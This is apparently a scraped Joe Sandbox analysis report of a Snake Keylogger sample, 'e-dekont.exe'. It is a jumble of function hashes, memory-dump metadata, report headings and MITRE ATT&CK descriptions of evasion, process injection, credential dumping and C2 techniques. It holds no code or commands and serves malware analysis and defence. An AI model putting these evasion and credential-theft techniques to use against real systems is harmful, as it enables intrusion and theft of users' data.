Instruction Fuzzy Hash: 9431A971E8411E4BFF748A69855077FA6A6AB88300F1508BDC916E77C5EA30CE81DF91

Uniqueness

Uniqueness Score: -1.00%

Function 02DC60E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 02DC611A
\;^q, xrefs: 02DC60FE
\;^q, xrefs: 02DC6126
\;^q, xrefs: 02DC60F4

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 3a7bd2a08033bf56bd2710b98e034c35af1db7e4759424020e68a71fa296c459
Instruction ID: ed6acab525b389b4a30a6507becc38bddf976e24884771aa27f16fec5dbc5baf
Opcode Fuzzy Hash: 3a7bd2a08033bf56bd2710b98e034c35af1db7e4759424020e68a71fa296c459
Instruction Fuzzy Hash: 8301BC31F400069F8B248E2DC844A2577EFAFC8A62735446EE046CB3B2DA31DC42C7C0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report e-dekont.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e-dekont.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
e-dekont.exe

Function 073F2889 Relevance: 4.0, Strings: 3, Instructions: 279
COMMON

Function 073F2910 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Function 073F04E0 Relevance: 16.5, Strings: 13, Instructions: 282
COMMON

Function 073FF110 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Function 073F50E0 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Function 07615E3D Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Function 07615E48 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 0295ADB0 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre